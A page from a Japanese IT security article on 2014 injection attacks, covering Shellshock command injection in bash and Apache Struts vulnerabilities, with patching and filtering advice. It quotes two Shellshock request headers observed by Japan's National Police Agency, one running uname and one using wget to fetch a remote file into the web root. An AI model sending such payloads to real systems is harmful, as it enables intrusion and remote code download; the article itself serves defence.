セキュリティ強化塾
2014年を揺るがしたインジェクション攻撃の手口と対策(3/4 ページ)
OSコマンドインジェクション攻撃の手口と対策
Webアプリケーションによっては外部からOSコマンドを不正に実行される場合がある。OSコマンドを利用すれば、Webアプリケーションの動作権限で可能なあらゆる操作が実行できるため、図2に見るようにファイルの改ざんやウイルス感染、他のサイトへの攻撃、情報漏えいなどの被害が生じる。
bashの脆弱性を利用したOSコマンドインジェクション
最近の例では、「bash」の脆弱性の問題が典型的だ。bashは各種のLinuxやMac OS Xに標準搭載されるシェル(OSカーネルとコマンド入力とを仲介するスクリプト)の1つだ。これに「Shellshock」と呼ばれる、外部からリモートでOSコマンドが実行できる脆弱性があることが2014年9月に明らかになった。
多くのWebサーバで稼働するCGIスクリプトでは、ユーザーのWebブラウザからのユーザーエージェントなどの環境変数を利用するが、CGIスクリプトからbashを呼び出す場合、環境変数に不正にコマンドが仕込まれると、システムの乗っ取りや機密情報の閲覧などが可能になる。
また、管理用のSSHサーバの制限を回避してコマンドが実行される可能性もある他、ウイルスを感染させる攻撃も組み合わせられるなど、さまざまな攻撃に悪用されることが予想される。
ネットワーク機器でも脆弱性のあるbashを利用する場合には同じような危険がある。専門家によると悪用したバックドア設置例が散見されるといい、警察庁ではbashの脆弱性を標的とするアクセスを9月以降多数観測し、12月9日にもその増加について注意喚起を行った。NAS製品を標的とした攻撃が増加している。
手口の一例
警察庁が観測した不正なリクエストの例には次のようなものがある。
OS情報を取得するリクエスト
User-Agent:() { test;};echo "Content-type: text/plain"; echo; echo; /bin/uname -a
ファイルのダウンロード、保存リクエスト
Host: () { :; }; wget [省略]/conf.txt > /var/www/conf.php; [省略]
後者は、外部のサーバ上に存在するファイルをダウンロード(wget)し、Webサーバの公開ディレクトリに保存するというもの。同ファイルを確認すると外部からの指令により任意の対象にDoS攻撃を実行する。
対策
こうした攻撃に対策するにはbashにパッチを適用すればよいのだが、最初の発表以降何度も関連する脆弱性が発見される状況になっており、新バージョンへの更新か、他のシェルへの入れ替えが薦められる。それが難しい場合には、WAFやIDSによって脆弱性のあるサービスへの入力にフィルターをかける回避策を利用することになる。
自社開発アプリケーションに潜む脆弱性への対策
自社開発アプリケーションでは、まずシェルを起動できる言語機能を利用しないようにすることが薦められる。代わりに、既存のライブラリで代替する方法、コマンドライン中に値を埋め込まない方法を検討したい。また、シェルを経由せずにコマンドを呼び出すようにすれば脆弱性は解消できる。
Apache Struts2の脆弱性
bash同様に深刻な問題となったのが、やはり2014年に公表されたApache Software FoundationのApache Strutsの脆弱性だ。これはJavaを用いてWebアプリケーションを構築するための、広く普及したフレームワークだ。Struts1とStruts2はまったく別のフレームワークではあるが、Struts2で見つかった脆弱性がStruts1にも影響することが分かった。
攻撃者がStruts2を利用したWebアプリケーションに細工したリクエストを送信すると、脆弱性により情報の窃取や特定ファイルの操作が可能になるとともに、アプリケーションを一時的に使用できなくすることもできる。
また、操作したファイルにJavaコードが含まれる場合には、任意のコードが実行される可能性があり、システムが乗っ取られることもあり得る。Struts1にも同様の脆弱性がある。
Struts2を利用する場合には、最新バージョンに更新することで脆弱性をカバーできるが、Struts1は既に開発とサポートが終了し、公式のパッチは提供されない。こちらは別のフレームワークへの移行が必要だ。それが難しい場合は、サードパーティーが独自に提供するパッチを利用する方法もある。
Copyright © ITmedia, Inc. All Rights Reserved.
こんなメディアも見られています
キーマンズネットに関連する情報をお探しであれば、こちらのメディアもお役に立てるかもしれません。
SpecialPR
アクセスランキング
-
1
C言語は「危険」と言われても、専門家が「使う価値は十分にある」と言うワケ:900th Lap
-
2
かんぽ生命が営業報告を50分→10分に AI時代に見直すべき「データ入力」の仕組み
-
3
M365 Copilot全庁展開で月2000時間削減 現場がAIを「使いたくなる」習慣化の仕組み
-
4
損保ジャパン、2万人の「Gemini活用」どう管理? 推進者が語る「リスク回避」の仕組み
-
5
Claude Codeに「仕事を丸投げ」して事故らないための基本運用ルール
-
6
6TBファイルのサーバ移行、M365ユーザーの八雲町がSharePointでなく「あえてBox」の理由
-
7
「カスハラ対応」を個人に任せない 取手市がAIで変えた窓口業務
-
8
「Claude」3倍高速化の裏で、Anthropic開発者が「あえてしなかったこと」:899th Lap
-
9
社員の「セキュリティ訓練」、他社はどの程度やっている? 気になる隣の実施状況
-
10
20年物の基幹システム刷新に、マクロミルがあえて「全てを変えない」と決めた理由
キーマンズネット SNS
インフォメーション
注目情報をチェック
キーマンズネットをフォロー